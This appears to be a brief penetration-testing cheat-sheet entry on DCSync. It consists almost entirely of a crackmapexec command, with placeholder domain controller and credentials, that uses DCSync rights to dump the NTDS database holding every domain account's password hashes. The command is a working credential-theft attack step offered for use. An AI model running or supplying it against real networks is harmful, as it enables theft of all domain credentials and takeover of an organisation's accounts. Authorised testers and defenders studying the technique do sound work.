DCSync

With DCSync rights, it is possible to dump NTDS database with:

crackmapexec smb <DC> -u 'user with DCSync rights' -p 'password' --ntds